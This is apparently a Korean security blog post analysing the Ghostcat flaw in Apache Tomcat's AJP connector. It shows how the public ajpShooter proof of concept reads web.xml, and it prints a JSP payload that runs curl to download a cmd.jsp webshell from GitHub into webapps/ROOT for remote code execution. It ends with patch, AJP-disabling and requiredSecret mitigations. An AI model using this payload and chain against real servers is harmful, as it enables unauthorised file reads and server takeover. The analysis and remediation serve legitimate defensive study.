ν‹°μŠ€ν† λ¦¬ λ·°

κ°œμš”

Apache Tomcat 6,7,8,9 λ²„μ „μ—μ„œ 기본적으둜 μ œκ³΅ν•˜λ˜ AJP(Apache Jserv Protocol) ν”„λ‘œν† μ½œμ˜ 취약점이 λ°œκ²¬λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 2020λ…„ 01μ›” 03일 μ€‘κ΅­μ˜ λ³΄μ•ˆμ—…μ²΄μΈ “차이 ν‹΄ ν…Œν¬”μ—μ„œ λ°œκ²¬ν•˜μ˜€μœΌλ©° CVSSμ—μ„œ 9.8μ΄λΌλŠ” 높은 점수λ₯Ό 받을 만큼 νŒŒκΈ‰λ ₯ 이 높은 μ·¨μ•½μ μž…λ‹ˆλ‹€.

 

ν•΄λ‹Ή 취약점이 μ‘΄μž¬ν•  경우 AJP ν”„λ‘œν† μ½œμ„ 톡해 /webapps/ROOT λ””λ ‰ν† λ¦¬μ˜ ν•˜μœ„ νŒŒμΌλ“€μ„ 읽을 수 있으며 μ—…λ‘œλ“œκ°€ μ‘΄μž¬ν•  κ²½μš°μ›κ²©μ½”λ“œ μ‹€ν–‰κΉŒμ§€ κ°€λŠ₯ν•΄μ§‘λ‹ˆλ‹€.

 

취약점이 λ°œν‘œλœ ν›„ 2020λ…„ 2μ›” End of Service 된된 6.x버전을 μ œμ™Έν•œ λͺ¨λ“  λ²„μ „μ˜ νŒ¨μΉ˜κ°€ μ΄λ£¨μ–΄μ‘ŒμœΌλ‚˜ ν˜„μž¬κΉŒμ§€ Github에 λ‹€μˆ˜μ˜ POCκ°€ μ‘΄μž¬ν•˜κΈ° λ•Œλ¬Έμ— 이λ₯Ό μ•…μš©ν•˜λŠ” 곡격 λΉˆλ„κ°€ 계속 증가할 κ²ƒμœΌλ‘œ μ˜ˆμƒλ©λ‹ˆλ‹€.

 

원리

Tomcatμ—μ„œ AJP ν”„λ‘œν† μ½œμ€ λͺ‡μ‹­ λ…„ μ „λΆ€ν„° μ‚¬μš©λ˜μ–΄ μ™”μœΌλ©° HTTP ν”„λ‘œν† μ½œμ˜ μ„±λŠ₯을 졜적 ν™” μ‹œν‚€κΈ° μœ„ν•΄ Apache μ›Ή μ„œλ²„λ‚˜ λ‹€λ₯Έ μΈμŠ€ν„΄μŠ€μ™€ λ‹€μ–‘ν•œ 데이터λ₯Ό κ΅ν™˜ν•˜κΈ° μœ„ν•΄ μ‚¬μš©λ˜μ–΄μ™”μŠ΅λ‹ˆλ‹€. AJPλŠ” μ„€μΉ˜ ν›„ 기본적으둜 8009 포트둜 ν™œμ„±ν™”λ˜κ³  있으며 ν•΄λ‹Ή ν¬νŠΈμ— λŒ€ν•œ λͺ¨λ“  IP μ£Όμ†Œ(0.0.0.0)에 Listening을 ν•˜λŠ” 것이 λ¬Έμ œκ°€ λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

 

Tomcat이 AJP μš”μ²­μ„ 받을 μ‹œ AjpProcessor.javaλ₯Ό ν˜ΈμΆœν•˜μ—¬ 이λ₯Ό μ²˜λ¦¬ν•˜κ³  prepareRequest λ©”μ„œλ“œλ₯Ό 톡해 AJP 메세지 λ‚΄μš©μ„ μΆ”μΆœν•˜μ—¬ Request 객체의 Attribute μ†μ„±μœΌλ‘œ μ„€μ •ν•˜λŠ”λ° μ΄λ•Œ λ‚΄μš©μ„ κ²€μ¦ν•˜λŠ” 둜직이 μ‘΄μž¬ν•˜μ§€ μ•ŠκΈ°μ— κ³΅κ²©μžκ°€ 지정해둔 λ˜λŠ” μ›ν•˜λŠ” 경둜의 νŒŒμΌμ„ μ½μ–΄μ˜¬ 수 μžˆλ„λ‘ μ œμ–΄ν•  수 있게 λ©λ‹ˆλ‹€.

 

/webapps/λ””λ ‰ν† λ¦¬μ—λŠ” λͺ¨λ“  μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μ €μž₯λ˜λŠ” λ””λ ‰ν† λ¦¬λ‘œ 기본적으둜 ν•˜μœ„μ— μ‘΄μž¬ν•˜λŠ” /WEB-INF/λ””λ ‰ν† λ¦¬λŠ” ν΄λΌμ΄μ–ΈνŠΈμ—κ²Œ 접근이 λΆˆκ°€λŠ₯ν•˜κ²Œ μ„€μ •λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

 

server.xml νŒŒμΌμ—μ„œ <Connector port=”8009” μ˜μ—­μ΄ μ£Όμ„μ²˜λ¦¬ 없이 ν™œμ„±ν™”λ˜μ–΄μžˆλŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ ν•΄λ‹Ή 포트λ₯Ό 톡해 μ ‘κ·Ό μ‹œ 검증 절차λ₯Ό κ±°μΉ˜λŠ” μ˜΅μ…˜μΈ requiredSecret 이 μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

 

ν΄λΌμ΄μ–ΈνŠΈκ°€ 접근이 λΆˆκ°€λŠ₯ν•œ web.xml νŒŒμΌμ„ 읽기 μœ„ν•œμ½”λ“œλ₯Ό 확인해보면 기본적인 AJP 8009 포트둜 μš”μ²­μ„ μˆ˜ν–‰ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

* POC μ°Έκ³ : https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py

 

ν•΄λ‹Ή POC μ½”λ“œλ₯Ό μ‹€ν–‰μ‹œν‚€κΈ° μœ„ν•΄μ„  python3 버전을 μ‚¬μš©ν•΄μ•Ό λœλ‹€. 그렇지 μ•Šμ„ 경우 ν•˜λ‹¨μ˜ ν•¨μˆ˜λ“€μ„ μ΄ν•΄ν•˜μ§€ λͺ»ν•©λ‹ˆλ‹€.

 

λ˜ν•œ κΈ°λ³Έ 포트인 AJP ν”„λ‘œν† μ½œμ„ 8201처럼 λ‹€λ₯Έ 포트둜 μ‚¬μš©ν•΄λ„ 포트 μŠ€μΊλ‹μ„ 톡해 μΆ©λΆ„νžˆ AJP ν”„λ‘œν† μ½œμ˜ 포트 식별을 ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

python3λ₯Ό μ‚¬μš©ν•˜μ—¬ λŒ€μƒ μ„œλ²„μ˜ μ£Όμ†Œμ™€ 8009 포트 및 μ½μœΌλ €λŠ”/WEB-INF/web.xml을 μž…λ ₯ ν›„ readλ₯Ό λΆ™μ—¬μ€λ‹ˆλ‹€.

 

좜λ ₯된 web.xml νŒŒμΌμž…λ‹ˆλ‹€. μ›Ή μƒμ—μ„œλŠ” 접근이 λΆˆκ°€λŠ₯ν•˜μ§€λ§Œ ν•΄λ‹Ή POCλ₯Ό 톡해 webapps 디렉토리 ν•˜μœ„μ— μ‘΄μž¬ν•˜λŠ” ν™˜κ²½μ„€μ • νŒŒμΌμ„ 읽을 수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ‚¬μš©λœPOCμ½”λ“œμ—μ„œλŠ”λͺ…령을 shooterλΌλŠ” λ³€μˆ˜μ— λ°›μ•„ μ‹€ν–‰ν•˜κ³  μžˆλ‹€. shooter에 read λͺ…령을 받을 경우 index.txt ν˜•νƒœλ‘œ 정보λ₯Ό κ°€μ Έμ˜€λ„λ‘ μš”μ²­ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

AJP Request Header 정보λ₯Ό 확인해보면 μš”μ²­ uri 정보λ₯Ό index.txt ν˜•νƒœλ‘œ servlet_pathλ₯Ό λ³€κ²½ν•˜μ—¬ μ„±κ³΅μ μœΌλ‘œ λ‚΄λΆ€ λ‚΄μš©μ„ κ°€μ Έμ˜€κ³  μžˆμŠ΅λ‹ˆλ‹€.

<μ›λž˜ κΈ°λŠ₯>
javax.servlet.include.request_uri = /mani-examples/jsp/included.jsp
javax.servlet.include.servlet_path = /jsp/included.jsp

 

ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•΄ μ—…λ‘œλ“œ νŽ˜μ΄μ§€λ₯Ό κ΅¬μΆ•ν•˜μ§€ μ•Šλ”λΌλ„ 디렉토리에 직접 μ—…λ‘œλ“œν•˜μ—¬ 진행할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

λŒ€μƒ μ„œλ²„μ— ν™œμ„±ν™”λœ AJP 포트 확인해보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. λ§Œμ•½ 전체적인 포트 μŠ€μΊλ‹μ„ μˆ˜ν–‰ ν›„ AJP ν¬νŠΈκ°€ μ‹λ³„λ˜μ§€ μ•ŠλŠ”λ‹€λ©΄ -p μ˜΅μ…˜μ„ μ‚¬μš©ν•˜μ—¬ 포트λ₯Ό μ§€μ •ν•˜μ—¬ ν™•μΈν•˜λ©΄ open 유무λ₯Ό νŒŒμ•…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ›κ²©μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ μ‚¬μš©λœ 165λ°”μ΄νŠΈ 크기의 webshell μ½”λ“œλ‹€. curl에 -o μ˜΅μ…˜μ„ 톡해 /webapps/ROOT/디렉토리에 cmd.jsp νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.

POC μ½”λ“œ <% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>
cmd.jsp μ½”λ“œλ₯Ό κ°€μ Έμ˜¬ μœ„μΉ˜ https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

ν•΄λ‹Ή μ›Ήμ‰˜ νŒŒμΌμ€ μ„œλ²„ μ‚¬μ΄λ“œ 슀크립트 μ–Έμ–΄λ‘œ μž‘μ„±λ˜μ—ˆμ§€λ§Œ. txtν˜•νƒœλ‘œ μ—…λ‘œλ“œν•˜μ—¬ POCμ½”λ“œ λ‚΄μš©μ„ 톡해 λ³€ν™˜ν•˜μ—¬ μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

ν•΄λ‹Ή νŒŒμΌμ„ λŒ€μƒ μ„œλ²„μ— μ—…λ‘œλ“œμ‹œμΌœλ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

μ—…λ‘œλ“œκ°€ μ„±κ³΅μ μœΌλ‘œ 된 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. λ§Œμ•½ λŒ€μƒ νŽ˜μ΄μ§€μ—μ„œ μ—…λ‘œλ“œ μ‹œ ν™•μž₯자λ₯Ό κ²€μ‚¬ν•˜κ±°λ‚˜ μ—…λ‘œλ“œ μš©λŸ‰μ„ νƒ€μ΄νŠΈν•˜κ²Œ μ œν•œν•˜μ§€ μ•ŠμœΌλ©΄ 이λ₯Ό μš°νšŒν•  κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€. 첫번째둜 μ„œλ²„ 츑에 전달 μ‹œ. jspν˜•νƒœλ‘œ 전달할 ν•„μš”κ°€ μ—†μœΌλ©° μš©λŸ‰λ„ 많이 μž‘μ•„λ¨Ήμ§€ μ•ŠκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€.

 

*λŒ€μƒ OSκ°€ Linux 기반이라면 "wget" λͺ…령을 톡해 λ‹€μš΄λ‘œλ“œμ‹œμΌœλ„ 됨

 

ghostcat.txt μ›Ήμ‰˜μ—λŠ” cmd.jspκ°€ /webapps/ROOT 디렉토리에 λ‹€μš΄λ‘œλ“œ λ˜λ„λ‘ μ„€μ •λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. λ§Œμ•½ μ„±κ³΅μ μœΌλ‘œ 디렉토리 경둜λ₯Ό νŒŒμ•…ν•˜κ³  읽기에 μ„±κ³΅ν•œλ‹€λ©΄ μœ„μ²˜λŸΌ webshell μ½”λ“œκ°€ λ‚˜νƒ€λ‚©λ‹ˆλ‹€.

 

/webapps/ROOT/ 디렉토리에 cmd.jsp 파일이 생긴 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

이제 μ—…λ‘œλ“œλœ ghostcat.txt μ›Ήμ‰˜μ„ μ„œλ²„ μ‚¬μ΄λ“œ μ–Έμ–΄λ‘œ μ‹€ν–‰λ˜λ„λ‘ ν•΄μ•Ό λ©λ‹ˆλ‹€. POCμ½”λ“œμ—μ„œλŠ” read λͺ…령어와 eval λͺ…λ Ήμ–΄λ₯Ό λ°›μ•„ 읽기/μ“°κΈ° ν˜•νƒœλ‘œ μˆ˜ν–‰λ˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

POCμ½”λ“œμ—μ„œλŠ”read와λͺ…λ Ήμ–΄λ₯Ό shooter λ³€μˆ˜μ— λ‹΄μ•„ μˆ˜ν–‰ν•˜λŠ” μ½”λ“œκ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€. 

 

μ•žμ„œ μ§„ν–‰ν–ˆλ˜ web.xml을 읽기 μœ„ν•΄μ„  shooter λ³€μˆ˜μ— read λͺ…령을 λ°›κ³  index.txt ν˜•νƒœλ‘œ 읽기λ₯Ό μ§„ν–‰ν•˜κ³  else 즉eval둜 μ‹€ν–‰ν•  경우 index.jsp둜 μš”μ²­ν•˜λ„λ‘ μˆ˜ν–‰ν•˜κΈ° μžˆμŠ΅λ‹ˆλ‹€.

 

request_uri λ‚˜sevlet_pathλΌλŠ” μ„€μ • νŒŒμΌμ„ λ³„λ„μ˜ 인증과정 없이 μ ‘κ·Όν•  수 있기 λ•Œλ¬Έμ— μ›λž˜μ˜ include 정보λ₯Ό μš°λ¦¬κ°€ μ—…λ‘œλ“œμ‹œν‚¨ λ°”λ€Œλ„λ‘ μ œμ–΄ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

<μ›λž˜ κΈ°λŠ₯>
javax.servlet.include.request_uri = /mani-examples/jsp/included.jsp
javax.servlet.include.servlet_path = /jsp/included.jsp

 

servlet_path의 경둜λ₯Ό μ—…λ‘œλ“œλœ ghostcat.txt둜 λ°”κΏ”μ„œ μš”μ²­ν•˜κ³  μš”μ²­ uri μ •λ³΄λŠ” index.jsp ν˜•νƒœλ‘œ λ³€ν™˜μ‹œν‚΄μœΌλ‘œμ¨ μ„œλ²„ μ‚¬μ΄λ“œ μ–Έμ–΄ ν˜•νƒœλ‘œ μ‹€ν–‰λ˜λ„λ‘ ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

이제 μ—…λ‘œλ“œμ‹œν‚¨ κ²½λ‘œμ—μ„œ cmd.jsp 파일둜 접근해보면 Commandλ₯Ό μž…λ ₯ν•  수 μžˆλŠ” 폼이 ν™•μΈλœλ‹€. windowsμ—μ„œ μ‚¬μš©λ˜λŠ” μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯해보면 μ„±κ³΅μ μœΌλ‘œ μ‹€ν–‰λ©λ‹ˆλ‹€.

 

λŒ€μ‘ λ°©μ•ˆ

(1) μ΅œμ‹  λ³΄μ•ˆ 패치

μ·¨μ•½ν•œ 버전

λ³΄μ•ˆ 패치 버전

패치 일자

Apache Tomcat 6.x

End of Service

Apache Tomcat 7.0.0. ~ 7.0.99

Apache Tomcat 7.0.100

2020.02.14

Apache Tomcat 8.5.0 ~ 8.5.50

Apache Tomcat 8.5.51

2020.02.11

Apache Tomcat 9.0.0M1 ~ 9.0.30

Apache Tomcat 9.0.31

2020.02.11

λ³΄μ•ˆ νŒ¨μΉ˜κ°€ μ§„ν–‰λœ λ²„μ „μ˜ 경우 이전에 λ³„λ„μ˜ 검증 없이 νŒŒμΌμ„ μ‹€ν–‰ν•˜λ˜ 취약점은 getAllowedArbitratyRequestAttributesPattern() 을 톡해 κ²€μ¦ν•˜λŠ” κΈ°λŠ₯이 μΆ”κ°€λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

# Linux ν™˜κ²½μ—μ„œ ν†°μΊ£ 버전 확인
(1) Tomcat 의 /bin/λ””λ ‰ν† λ¦¬μ—μ„œ -> ./version.sh μˆ˜ν–‰
# cd /bin/
# ./version.sh
(2) Tomcat 의 /bin/λ””λ ‰ν† λ¦¬μ—μ„œ ν•΄λ‹Ή λͺ…λ Ήμ–΄ μ‹€ν–‰
# cd /bin/
# java –cp catalina.jar org.apache.catalina.util.ServerInfo μ‹€ν–‰ ν›„ “Server number 확인”

 

(2) AJP ν”„λ‘œν† μ½œ λΉ„ν™œμ„±ν™”

μ„œλΉ„μŠ€ μ°¨μ›μ—μ„œ μ΅œμ‹  λ³΄μ•ˆ 패치λ₯Ό μ§„ν–‰ν•˜κΈ°κΉŒμ§€ 쑰금 였랜 μ‹œκ°„μ΄ ν•„μš”ν•  μˆ˜λ„ 있으며 λ‹Ήμž₯ μ§„ν–‰ν•˜κΈ° νž˜λ“  κ²½μš°λ„ μ‘΄μž¬ν•©λ‹ˆλ‹€. 이럴 경우 μž„μ‹œμ μœΌλ‘œ 라도 ν™œμ„±ν™”λ˜μ–΄μžˆλŠ”ν”„λ‘œν† μ½œμ„ λΉ„ν™œμ„± λΉ„ μ‹œν‚€λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

server.xml νŒŒμΌμ—μ„œ ν•΄λ‹Ή # <Connector port=”8009” protocol=”AJP”/1.3” redirectPort=”8443” /> 뢀뢄을 μ£Όμ„μ²˜λ¦¬

 

(3) AJP ν”„λ‘œν† μ½œμ— 인증 κ΅¬ν˜„

# <Connector port=”8009” protocol=”AJP”/1.3” redirectPort=”8443” /> μ£Όμ„μ²˜λ¦¬
<Connector protocol=”AJP/1.3”
           address” AJP/1.3 “
           port=” 8009 “
           redirectPort=” 8443 “
           requiredSecret=” [AJP인증속성]” />

server.xml νŒŒμΌμ—μ„œ κΈ°μ‘΄ AJP 라인은 주석 μ²˜λ¦¬ν•˜κ³  μΆ”κ°€μ μœΌλ‘œ 인증을 κ΅¬ν˜„ν•  수 μžˆλŠ” λ‘œμ§μ„ μΆ”κ°€ν•œ ν›„ μž¬μ‹œμž‘ν•˜λ©΄ λ©λ‹ˆλ‹€.

κ³΅μœ ν•˜κΈ° 링크
Comment